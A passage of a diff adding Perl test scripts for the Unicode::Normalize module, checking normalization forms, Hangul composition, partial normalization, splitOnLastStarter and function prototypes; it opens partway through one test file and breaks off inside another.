+ok(isNFKD_NO(sprintf("0%d", to_native(192))));
+
+# DEVANAGARI LETTER QA
+ok(isExclusion("02392"));
+ok(isComp_Ex ("02392"));
+ok(isNFC_NO ("02392"));
+ok(isNFKC_NO ("02392"));
+ok(isNFD_NO ("02392"));
+ok(isNFKD_NO ("02392"));
+
+# ANGSTROM SIGN
+ok(isSingleton("08491"));
+ok(isComp_Ex ("08491"));
+ok(isNFC_NO ("08491"));
+ok(isNFKC_NO ("08491"));
+ok(isNFD_NO ("08491"));
+ok(isNFKD_NO ("08491"));
+
+# COMBINING GREEK DIALYTIKA TONOS
+ok(isNonStDecomp("0836"));
+ok(isComp_Ex ("0836"));
+ok(isNFC_NO ("0836"));
+ok(isNFKC_NO ("0836"));
+ok(isNFD_NO ("0836"));
+ok(isNFKD_NO ("0836"));
+
+# COMBINING GRAVE ACCENT
+ok(getCombinClass("0768"), 230);
+ok(isComp2nd ("0768"));
+ok(isNFC_MAYBE ("0768"));
+ok(isNFKC_MAYBE("0768"));
+
+# HANGUL SYLLABLE GA
+ok(getCombinClass("044032"), 0);
+ok(getCanon("044032"), _pack_U(0x1100, 0x1161));
+ok(getCompat("044032"), _pack_U(0x1100, 0x1161));
+ok(getComposite("04352", "04449"), 0xAC00);
+
+# 182
+
+# string with 22 combining characters: (0x300..0x315)
+my $str_cc22 = _pack_U(0x3041, 0x300..0x315, 0x3042);
+ok(decompose($str_cc22), $str_cc22);
+ok(reorder($str_cc22), $str_cc22);
+ok(compose($str_cc22), $str_cc22);
+ok(composeContiguous($str_cc22), $str_cc22);
+ok(NFD($str_cc22), $str_cc22);
+ok(NFC($str_cc22), $str_cc22);
+ok(NFKD($str_cc22), $str_cc22);
+ok(NFKC($str_cc22), $str_cc22);
+ok(FCD($str_cc22), $str_cc22);
+ok(FCC($str_cc22), $str_cc22);
+
+# 192
+
+# string with 40 combining characters of the same class: (0x300..0x313)x2
+my $str_cc40 = _pack_U(0x3041, 0x300..0x313, 0x300..0x313, 0x3042);
+ok(decompose($str_cc40), $str_cc40);
+ok(reorder($str_cc40), $str_cc40);
+ok(compose($str_cc40), $str_cc40);
+ok(composeContiguous($str_cc40), $str_cc40);
+ok(NFD($str_cc40), $str_cc40);
+ok(NFC($str_cc40), $str_cc40);
+ok(NFKD($str_cc40), $str_cc40);
+ok(NFKC($str_cc40), $str_cc40);
+ok(FCD($str_cc40), $str_cc40);
+ok(FCC($str_cc40), $str_cc40);
+
+# 202
+
+my $precomp = hexU("304C 304E 3050 3052 3054");
+my $combseq = hexU("304B 3099 304D 3099 304F 3099 3051 3099 3053 3099");
+ok(decompose($precomp x 5), $combseq x 5);
+ok(decompose($precomp x 10), $combseq x 10);
+ok(decompose($precomp x 20), $combseq x 20);
+
+my $hangsyl = hexU("AC00 B098 B2E4 B77C B9C8");
+my $jamoseq = hexU("1100 1161 1102 1161 1103 1161 1105 1161 1106 1161");
+ok(decompose($hangsyl x 5), $jamoseq x 5);
+ok(decompose($hangsyl x 10), $jamoseq x 10);
+ok(decompose($hangsyl x 20), $jamoseq x 20);
+
+my $notcomp = hexU("304B 304D 304F 3051 3053");
+ok(decompose($precomp . $notcomp), $combseq . $notcomp);
+ok(decompose($precomp . $notcomp x 5), $combseq . $notcomp x 5);
+ok(decompose($precomp . $notcomp x10), $combseq . $notcomp x10);
+
+# 211
+
+my $preUnicode3_1 = !defined getCanon(0x1D15E);
+my $preUnicode3_2 = !defined getCanon(0x2ADC);
+
+# HEBREW LETTER YOD WITH HIRIQ
+ok($preUnicode3_1 xor isExclusion(0xFB1D));
+ok($preUnicode3_1 xor isComp_Ex (0xFB1D));
+
+# MUSICAL SYMBOL HALF NOTE
+ok($preUnicode3_1 xor isExclusion(0x1D15E));
+ok($preUnicode3_1 xor isComp_Ex (0x1D15E));
+
+# FORKING
+ok($preUnicode3_2 xor isExclusion(0x2ADC));
+ok($preUnicode3_2 xor isComp_Ex (0x2ADC));
+
+# 217
+
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/t/illegal.t b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/illegal.t
new file mode 100644
index 00000000000..ccf2b4aae62
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/illegal.t
@@ -0,0 +1,85 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Normalize cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Normalize cannot get a Unicode code point\n";
+ exit 0;
+ }
+}
+
+BEGIN {
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+BEGIN {
+ unless (5.006001 <= $]) {
+ print "1..0 # skipped: Perl 5.6.1 or later".
+ " needed for this test\n";
+ exit;
+ }
+}
+
+#########################
+
+BEGIN {
+ use Unicode::Normalize qw(:all);
+
+ unless (exists &Unicode::Normalize::bootstrap or 5.008 <= $]) {
+ print "1..0 # skipped: XSUB, or Perl 5.8.0 or later".
+ " needed for this test\n";
+ print $@;
+ exit;
+ }
+}
+
+use strict;
+use warnings;
+
+BEGIN { $| = 1; print "1..113\n"; }
+my $count = 0;
+sub ok ($;$) {
+ my $p = my $r = shift;
+ if (@_) {
+ my $x = shift;
+ $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+ }
+ print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+ok(1);
+
+#########################
+
+no warnings qw(utf8);
+
+for my $u (0xD800, 0xDFFF, 0xFDD0, 0xFDEF, 0xFEFF, 0xFFFE, 0xFFFF,
+ 0x1FFFF, 0x10FFFF, 0x110000, 0x3FFFFFFF)
+{
+ my $c = chr $u;
+ ok($c eq NFD($c)); # 1
+ ok($c eq NFC($c)); # 2
+ ok($c eq NFKD($c)); # 3
+ ok($c eq NFKC($c)); # 4
+ ok($c eq FCD($c)); # 5
+ ok($c eq FCC($c)); # 6
+ ok($c eq decompose($c)); # 7
+ ok($c eq decompose($c,1)); # 8
+ ok($c eq reorder($c)); # 9
+ ok($c eq compose($c)); # 10
+}
+
+our $proc; # before the last starter
+our $unproc; # the last starter and after
+
+sub _pack_U { Unicode::Normalize::pack_U(@_) }
+
+($proc, $unproc) = splitOnLastStarter(_pack_U(0x41, 0x300, 0x327, 0xFFFF));
+ok($proc eq _pack_U(0x41, 0x300, 0x327));
+ok($unproc eq "\x{FFFF}");
+
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/t/norm.t b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/norm.t
new file mode 100644
index 00000000000..d3cec3aea17
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/norm.t
@@ -0,0 +1,145 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Normalize cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Normalize cannot get a Unicode code point\n";
+ exit 0;
+ }
+}
+
+BEGIN {
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+#########################
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..64\n"; }
+my $count = 0;
+sub ok ($;$) {
+ my $p = my $r = shift;
+ if (@_) {
+ my $x = shift;
+ $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+ }
+ print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+use Unicode::Normalize qw(normalize);
+
+ok(1);
+
+sub _pack_U { Unicode::Normalize::pack_U(@_) }
+sub _unpack_U { Unicode::Normalize::unpack_U(@_) }
+
+#########################
+
+ok(normalize('D', ""), "");
+ok(normalize('C', ""), "");
+ok(normalize('KD',""), "");
+ok(normalize('KC',""), "");
+
+ok(normalize('D', "A"), "A");
+ok(normalize('C', "A"), "A");
+ok(normalize('KD',"A"), "A");
+ok(normalize('KC',"A"), "A");
+
+ok(normalize('NFD', ""), "");
+ok(normalize('NFC', ""), "");
+ok(normalize('NFKD',""), "");
+ok(normalize('NFKC',""), "");
+
+ok(normalize('NFD', "A"), "A");
+ok(normalize('NFC', "A"), "A");
+ok(normalize('NFKD',"A"), "A");
+ok(normalize('NFKC',"A"), "A");
+
+# 17
+
+# don't modify the source
+my $sNFD = "\x{FA19}";
+ok(normalize('NFD', $sNFD), "\x{795E}");
+ok($sNFD, "\x{FA19}");
+
+my $sNFC = "\x{FA1B}";
+ok(normalize('NFC', $sNFC), "\x{798F}");
+ok($sNFC, "\x{FA1B}");
+
+my $sNFKD = "\x{FA1E}";
+ok(normalize('NFKD', $sNFKD), "\x{7FBD}");
+ok($sNFKD, "\x{FA1E}");
+
+my $sNFKC = "\x{FA26}";
+ok(normalize('NFKC', $sNFKC), "\x{90FD}");
+ok($sNFKC, "\x{FA26}");
+
+# 25
+
+sub hexNFC {
+ join " ", map sprintf("%04X", $_),
+ _unpack_U normalize 'C', _pack_U map hex, split ' ', shift;
+}
+sub hexNFD {
+ join " ", map sprintf("%04X", $_),
+ _unpack_U normalize 'D', _pack_U map hex, split ' ', shift;
+}
+
+ok(hexNFD("1E14 AC01"), "0045 0304 0300 1100 1161 11A8");
+ok(hexNFD("AC00 AE00"), "1100 1161 1100 1173 11AF");
+
+ok(hexNFC("0061 0315 0300 05AE 05C4 0062"), "00E0 05AE 05C4 0315 0062");
+ok(hexNFC("00E0 05AE 05C4 0315 0062"), "00E0 05AE 05C4 0315 0062");
+ok(hexNFC("0061 05AE 0300 05C4 0315 0062"), "00E0 05AE 05C4 0315 0062");
+ok(hexNFC("0045 0304 0300 AC00 11A8"), "1E14 AC01");
+ok(hexNFC("1100 1161 1100 1173 11AF"), "AC00 AE00");
+ok(hexNFC("1100 0300 1161 1173 11AF"), "1100 0300 1161 1173 11AF");
+
+ok(hexNFD("0061 0315 0300 05AE 05C4 0062"), "0061 05AE 0300 05C4 0315 0062");
+ok(hexNFD("00E0 05AE 05C4 0315 0062"), "0061 05AE 0300 05C4 0315 0062");
+ok(hexNFD("0061 05AE 0300 05C4 0315 0062"), "0061 05AE 0300 05C4 0315 0062");
+ok(hexNFC("0061 05C4 0315 0300 05AE 0062"), "0061 05AE 05C4 0300 0315 0062");
+ok(hexNFC("0061 05AE 05C4 0300 0315 0062"), "0061 05AE 05C4 0300 0315 0062");
+ok(hexNFD("0061 05C4 0315 0300 05AE 0062"), "0061 05AE 05C4 0300 0315 0062");
+ok(hexNFD("0061 05AE 05C4 0300 0315 0062"), "0061 05AE 05C4 0300 0315 0062");
+ok(hexNFC("0000 0041 0000 0000"), "0000 0041 0000 0000");
+ok(hexNFD("0000 0041 0000 0000"), "0000 0041 0000 0000");
+
+ok(hexNFC("AC00 11A7"), "AC00 11A7");
+ok(hexNFC("AC00 11A8"), "AC01");
+ok(hexNFC("AC00 11A9"), "AC02");
+ok(hexNFC("AC00 11C2"), "AC1B");
+ok(hexNFC("AC00 11C3"), "AC00 11C3");
+
+# 47
+
+# Test Cases from Public Review Issue #29: Normalization Issue
+# cf. http://www.unicode.org/review/pr-29.html
+ok(hexNFC("0B47 0300 0B3E"), "0B47 0300 0B3E");
+ok(hexNFC("1100 0300 1161"), "1100 0300 1161");
+ok(hexNFC("0B47 0B3E 0300"), "0B4B 0300");
+ok(hexNFC("1100 1161 0300"), "AC00 0300");
+ok(hexNFC("0B47 0300 0B3E 0327"), "0B47 0300 0B3E 0327");
+ok(hexNFC("1100 0300 1161 0327"), "1100 0300 1161 0327");
+
+ok(hexNFC("0300 0041"), "0300 0041");
+ok(hexNFC("0300 0301 0041"), "0300 0301 0041");
+ok(hexNFC("0301 0300 0041"), "0301 0300 0041");
+ok(hexNFC("0000 0300 0000 0301"), "0000 0300 0000 0301");
+ok(hexNFC("0000 0301 0000 0300"), "0000 0301 0000 0300");
+
+ok(hexNFC("0327 0061 0300"), "0327 00E0");
+ok(hexNFC("0301 0061 0300"), "0301 00E0");
+ok(hexNFC("0315 0061 0300"), "0315 00E0");
+ok(hexNFC("0000 0327 0061 0300"), "0000 0327 00E0");
+ok(hexNFC("0000 0301 0061 0300"), "0000 0301 00E0");
+ok(hexNFC("0000 0315 0061 0300"), "0000 0315 00E0");
+
+# 64
+
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/t/null.t b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/null.t
new file mode 100644
index 00000000000..9a0008708ed
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/null.t
@@ -0,0 +1,100 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Normalize cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Normalize cannot get a Unicode code point\n";
+ exit 0;
+ }
+}
+
+BEGIN {
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+#########################
+
+use strict;
+use warnings;
+
+use Unicode::Normalize qw(:all);
+print "1..24\n";
+
+print "ok 1\n";
+
+# if $_ is not NULL-terminated, test may fail.
+
+$_ = compose('abc');
+print /c$/ ? "ok" : "not ok", " 2\n";
+
+$_ = decompose('abc');
+print /c$/ ? "ok" : "not ok", " 3\n";
+
+$_ = reorder('abc');
+print /c$/ ? "ok" : "not ok", " 4\n";
+
+$_ = NFD('abc');
+print /c$/ ? "ok" : "not ok", " 5\n";
+
+$_ = NFC('abc');
+print /c$/ ? "ok" : "not ok", " 6\n";
+
+$_ = NFKD('abc');
+print /c$/ ? "ok" : "not ok", " 7\n";
+
+$_ = NFKC('abc');
+print /c$/ ? "ok" : "not ok", " 8\n";
+
+$_ = FCC('abc');
+print /c$/ ? "ok" : "not ok", " 9\n";
+
+$_ = decompose("\x{304C}abc");
+print /c$/ ? "ok" : "not ok", " 10\n";
+
+$_ = decompose("\x{304B}\x{3099}abc");
+print /c$/ ? "ok" : "not ok", " 11\n";
+
+$_ = reorder("\x{304C}abc");
+print /c$/ ? "ok" : "not ok", " 12\n";
+
+$_ = reorder("\x{304B}\x{3099}abc");
+print /c$/ ? "ok" : "not ok", " 13\n";
+
+$_ = compose("\x{304C}abc");
+print /c$/ ? "ok" : "not ok", " 14\n";
+
+$_ = compose("\x{304B}\x{3099}abc");
+print /c$/ ? "ok" : "not ok", " 15\n";
+
+$_ = NFD("\x{304C}abc");
+print /c$/ ? "ok" : "not ok", " 16\n";
+
+$_ = NFC("\x{304C}abc");
+print /c$/ ? "ok" : "not ok", " 17\n";
+
+$_ = NFKD("\x{304C}abc");
+print /c$/ ? "ok" : "not ok", " 18\n";
+
+$_ = NFKC("\x{304C}abc");
+print /c$/ ? "ok" : "not ok", " 19\n";
+
+$_ = FCC("\x{304C}abc");
+print /c$/ ? "ok" : "not ok", " 20\n";
+
+$_ = getCanon(0x100);
+print s/.$// ? "ok" : "not ok", " 21\n";
+
+$_ = getCompat(0x100);
+print s/.$// ? "ok" : "not ok", " 22\n";
+
+$_ = getCanon(0xAC00);
+print s/.$// ? "ok" : "not ok", " 23\n";
+
+$_ = getCompat(0xAC00);
+print s/.$// ? "ok" : "not ok", " 24\n";
+
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/t/partial1.t b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/partial1.t
new file mode 100644
index 00000000000..3e44a63dc04
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/partial1.t
@@ -0,0 +1,120 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Normalize cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Normalize cannot get a Unicode code point\n";
+ exit 0;
+ }
+}
+
+BEGIN {
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+BEGIN {
+ unless (5.006001 <= $]) {
+ print "1..0 # skipped: Perl 5.6.1 or later".
+ " needed for this test\n";
+ exit;
+ }
+}
+
+#########################
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..26\n"; }
+my $count = 0;
+sub ok ($;$) {
+ my $p = my $r = shift;
+ if (@_) {
+ my $x = shift;
+ $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+ }
+ print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+use Unicode::Normalize qw(:all);
+
+ok(1);
+
+sub _pack_U { Unicode::Normalize::pack_U(@_) }
+sub _unpack_U { Unicode::Normalize::unpack_U(@_) }
+
+#########################
+
+sub arraynorm {
+ my $form = shift;
+ my @string = @_;
+ my $result = "";
+ my $unproc = "";
+ foreach my $str (@string) {
+ $unproc .= $str;
+ $result .= $form eq 'NFC' ? NFC_partial ($unproc) :
+ $form eq 'NFD' ? NFD_partial ($unproc) :
+ $form eq 'NFKC' ? NFKC_partial($unproc) :
+ $form eq 'NFKD' ? NFKD_partial($unproc) :
+ undef;
+ }
+ $result .= $unproc;
+ return $result;
+}
+
+my $strD = "\x{3C9}\x{301}\x{1100}\x{1161}\x{11A8}\x{1100}\x{1161}\x{11AA}";
+my $strC = "\x{3CE}\x{AC01}\x{AC03}";
+my @str1 = (substr($strD,0,3), substr($strD,3,4), substr($strD,7));
+my @str2 = (substr($strD,0,1), substr($strD,1,3), substr($strD,4));
+ok($strC eq NFC($strD));
+ok($strD eq join('', @str1));
+ok($strC eq arraynorm('NFC', @str1));
+ok($strD eq join('', @str2));
+ok($strC eq arraynorm('NFC', @str2));
+
+my @strX = ("\x{300}\x{AC00}", "\x{11A8}");
+my $strX = "\x{300}\x{AC01}";
+ok($strX eq NFC(join('', @strX)));
+ok($strX eq arraynorm('NFC', @strX));
+ok($strX eq NFKC(join('', @strX)));
+ok($strX eq arraynorm('NFKC', @strX));
+
+my @strY = ("\x{304B}\x{0308}", "\x{0323}\x{3099}");
+my $strY = ("\x{304C}\x{0323}\x{0308}");
+ok($strY eq NFC(join('', @strY)));
+ok($strY eq arraynorm('NFC', @strY));
+ok($strY eq NFKC(join('', @strY)));
+ok($strY eq arraynorm('NFKC', @strY));
+
+my @strZ = ("\x{304B}\x{0308}", "\x{0323}", "\x{3099}");
+my $strZ = ("\x{304B}\x{3099}\x{0323}\x{0308}");
+ok($strZ eq NFD(join('', @strZ)));
+ok($strZ eq arraynorm('NFD', @strZ));
+ok($strZ eq NFKD(join('', @strZ)));
+ok($strZ eq arraynorm('NFKD', @strZ));
+
+# 18
+
+# must modify the source
+my $sNFD = "\x{FA19}";
+ok(NFD_partial($sNFD), "");
+ok($sNFD, "\x{795E}");
+
+my $sNFC = "\x{FA1B}";
+ok(NFC_partial($sNFC), "");
+ok($sNFC, "\x{798F}");
+
+my $sNFKD = "\x{FA1E}";
+ok(NFKD_partial($sNFKD), "");
+ok($sNFKD, "\x{7FBD}");
+
+my $sNFKC = "\x{FA26}";
+ok(NFKC_partial($sNFKC), "");
+ok($sNFKC, "\x{90FD}");
+
+# 26
+
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/t/partial2.t b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/partial2.t
new file mode 100644
index 00000000000..7f19e9365b8
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/partial2.t
@@ -0,0 +1,116 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Normalize cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Normalize cannot get a Unicode code point\n";
+ exit 0;
+ }
+}
+
+BEGIN {
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+BEGIN {
+ unless (5.006001 <= $]) {
+ print "1..0 # skipped: Perl 5.6.1 or later".
+ " needed for this test\n";
+ exit;
+ }
+}
+
+#########################
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..26\n"; }
+my $count = 0;
+sub ok ($;$) {
+ my $p = my $r = shift;
+ if (@_) {
+ my $x = shift;
+ $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+ }
+ print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+use Unicode::Normalize qw(:all);
+
+ok(1);
+
+sub _pack_U { Unicode::Normalize::pack_U(@_) }
+sub _unpack_U { Unicode::Normalize::unpack_U(@_) }
+
+#########################
+
+sub arraynorm {
+ my $form = shift;
+ my @string = @_;
+ my $result = "";
+ my $unproc = "";
+ foreach my $str (@string) {
+ $unproc .= $str;
+ $result .= normalize_partial($form, $unproc);
+ }
+ $result .= $unproc;
+ return $result;
+}
+
+my $strD = "\x{3C9}\x{301}\x{1100}\x{1161}\x{11A8}\x{1100}\x{1161}\x{11AA}";
+my $strC = "\x{3CE}\x{AC01}\x{AC03}";
+my @str1 = (substr($strD,0,3), substr($strD,3,4), substr($strD,7));
+my @str2 = (substr($strD,0,1), substr($strD,1,3), substr($strD,4));
+ok($strC eq NFC($strD));
+ok($strD eq join('', @str1));
+ok($strC eq arraynorm('NFC', @str1));
+ok($strD eq join('', @str2));
+ok($strC eq arraynorm('NFC', @str2));
+
+my @strX = ("\x{300}\x{AC00}", "\x{11A8}");
+my $strX = "\x{300}\x{AC01}";
+ok($strX eq NFC(join('', @strX)));
+ok($strX eq arraynorm('NFC', @strX));
+ok($strX eq NFKC(join('', @strX)));
+ok($strX eq arraynorm('NFKC', @strX));
+
+my @strY = ("\x{304B}\x{0308}", "\x{0323}\x{3099}");
+my $strY = ("\x{304C}\x{0323}\x{0308}");
+ok($strY eq NFC(join('', @strY)));
+ok($strY eq arraynorm('NFC', @strY));
+ok($strY eq NFKC(join('', @strY)));
+ok($strY eq arraynorm('NFKC', @strY));
+
+my @strZ = ("\x{304B}\x{0308}", "\x{0323}", "\x{3099}");
+my $strZ = ("\x{304B}\x{3099}\x{0323}\x{0308}");
+ok($strZ eq NFD(join('', @strZ)));
+ok($strZ eq arraynorm('NFD', @strZ));
+ok($strZ eq NFKD(join('', @strZ)));
+ok($strZ eq arraynorm('NFKD', @strZ));
+
+# 18
+
+# must modify the source
+my $sNFD = "\x{FA19}";
+ok(normalize_partial('NFD', $sNFD), "");
+ok($sNFD, "\x{795E}");
+
+my $sNFC = "\x{FA1B}";
+ok(normalize_partial('NFC', $sNFC), "");
+ok($sNFC, "\x{798F}");
+
+my $sNFKD = "\x{FA1E}";
+ok(normalize_partial('NFKD', $sNFKD), "");
+ok($sNFKD, "\x{7FBD}");
+
+my $sNFKC = "\x{FA26}";
+ok(normalize_partial('NFKC', $sNFKC), "");
+ok($sNFKC, "\x{90FD}");
+
+# 26
+
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/t/proto.t b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/proto.t
new file mode 100644
index 00000000000..38c69857599
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/proto.t
@@ -0,0 +1,99 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Normalize cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Normalize cannot get a Unicode code point\n";
+ exit 0;
+ }
+}
+
+BEGIN {
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+#########################
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..48\n"; }
+my $count = 0;
+sub ok ($;$) {
+ my $p = my $r = shift;
+ if (@_) {
+ my $x = shift;
+ $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+ }
+ print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+use Unicode::Normalize qw(:all);
+
+ok(1);
+
+#########################
+
+# unary op. RING-CEDILLA
+ok( "\x{30A}\x{327}" ne "\x{327}\x{30A}");
+ok(NFD "\x{30A}\x{327}" eq "\x{327}\x{30A}");
+ok(NFC "\x{30A}\x{327}" eq "\x{327}\x{30A}");
+ok(NFKD "\x{30A}\x{327}" eq "\x{327}\x{30A}");
+ok(NFKC "\x{30A}\x{327}" eq "\x{327}\x{30A}");
+ok(FCD "\x{30A}\x{327}" eq "\x{327}\x{30A}");
+ok(FCC "\x{30A}\x{327}" eq "\x{327}\x{30A}");
+ok(reorder "\x{30A}\x{327}" eq "\x{327}\x{30A}");
+
+# 9
+
+ok(prototype \&normalize,'$$');
+ok(prototype \&NFD, '$');
+ok(prototype \&NFC, '$');
+ok(prototype \&NFKD, '$');
+ok(prototype \&NFKC, '$');
+ok(prototype \&FCD, '$');
+ok(prototype \&FCC, '$');
+
+ok(prototype \&check, '$$');
+ok(prototype \&checkNFD, '$');
+ok(prototype \&checkNFC, '$');
+ok(prototype \&checkNFKD,'$');
+ok(prototype \&checkNFKC,'$');
+ok(prototype \&checkFCD, '$');
+ok(prototype \&checkFCC, '$');
+
+ok(prototype \&decompose, '$;$');
+ok(prototype \&reorder, '$');
+ok(prototype \&compose, '$');
+ok(prototype \&composeContiguous, '$');
+
+# 27
+
+ok(prototype \&getCanon, '$');
+ok(prototype \&getCompat, '$');
+ok(prototype \&getComposite, '$$');
+ok(prototype \&getCombinClass,'$');
+ok(prototype \&isExclusion, '$');
+ok(prototype \&isSingleton, '$');
+ok(prototype \&isNonStDecomp, '$');
+ok(prototype \&isComp2nd, '$');
+ok(prototype \&isComp_Ex, '$');
+ok(prototype \&isNFD_NO, '$');
+ok(prototype \&isNFC_NO, '$');
+ok(prototype \&isNFC_MAYBE, '$');
+ok(prototype \&isNFKD_NO, '$');
+ok(prototype \&isNFKC_NO, '$');
+ok(prototype \&isNFKC_MAYBE, '$');
+ok(prototype \&splitOnLastStarter, undef);
+ok(prototype \&normalize_partial, '$$');
+ok(prototype \&NFD_partial, '$');
+ok(prototype \&NFC_partial, '$');
+ok(prototype \&NFKD_partial, '$');
+ok(prototype \&NFKC_partial, '$');
+
+# 48
+
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/t/split.t b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/split.t
new file mode 100644
index 00000000000..a92957c2081
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/split.t
@@ -0,0 +1,147 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Normalize cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Normalize cannot get a Unicode code point\n";
+ exit 0;
+ }
+}
+
+BEGIN {
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+BEGIN {
+ unless (5.006001 <= $]) {
+ print "1..0 # skipped: Perl 5.6.1 or later".
+ " needed for this test\n";
+ exit;
+ }
+}
+
+#########################
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..34\n"; }
+my $count = 0;
+sub ok ($;$) {
+ my $p = my $r = shift;
+ if (@_) {
+ my $x = shift;
+ $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+ }
+ print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+use Unicode::Normalize qw(:all);
+
+ok(1);
+
+sub _pack_U { Unicode::Normalize::pack_U(@_) }
+sub _unpack_U { Unicode::Normalize::unpack_U(@_) }
+
+#########################
+
+our $proc; # before the last starter
+our $unproc; # the last starter and after
+# If string has no starter, entire string is set to $unproc.
+
+($proc, $unproc) = splitOnLastStarter("");
+ok($proc, "");
+ok($unproc, "");
+
+($proc, $unproc) = splitOnLastStarter("A");
+ok($proc, "");
+ok($unproc, "A");
+
+($proc, $unproc) = splitOnLastStarter(_pack_U(0x41, 0x300, 0x327, 0x42));
+ok($proc, _pack_U(0x41, 0x300, 0x327));
+ok($unproc, "B");
+
+($proc, $unproc) = splitOnLastStarter(_pack_U(0x4E00, 0x41, 0x301));
+ok($proc, _pack_U(0x4E00));
+ok($unproc, _pack_U(0x41, 0x301));
+
+($proc, $unproc) = splitOnLastStarter(_pack_U(0x302, 0x301, 0x300));
+ok($proc, "");
+ok($unproc, _pack_U(0x302, 0x301, 0x300));
+
+our $ka_grave = _pack_U(0x41, 0, 0x42, 0x304B, 0x300);
+our $dakuten = _pack_U(0x3099);
+our $ga_grave = _pack_U(0x41, 0, 0x42, 0x304C, 0x300);
+
+our ($p, $u) = splitOnLastStarter($ka_grave);
+our $concat = $p . NFC($u.$dakuten);
+
+ok(NFC($ka_grave.$dakuten) eq $ga_grave);
+ok(NFC($ka_grave).NFC($dakuten) ne $ga_grave);
+ok($concat eq $ga_grave);
+
+# 14
+
+sub arraynorm {
+ my $form = shift;
+ my @string = @_;
+ my $result = "";
+ my $unproc = "";
+ foreach my $str (@string) {
+ $unproc .= $str;
+ my $n = normalize($form, $unproc);
+ my($p, $u) = splitOnLastStarter($n);
+ $result .= $p;
+ $unproc = $u;
+ }
+ $result .= $unproc;
+ return $result;
+}
+
+my $strD = "\x{3C9}\x{301}\x{1100}\x{1161}\x{11A8}\x{1100}\x{1161}\x{11AA}";
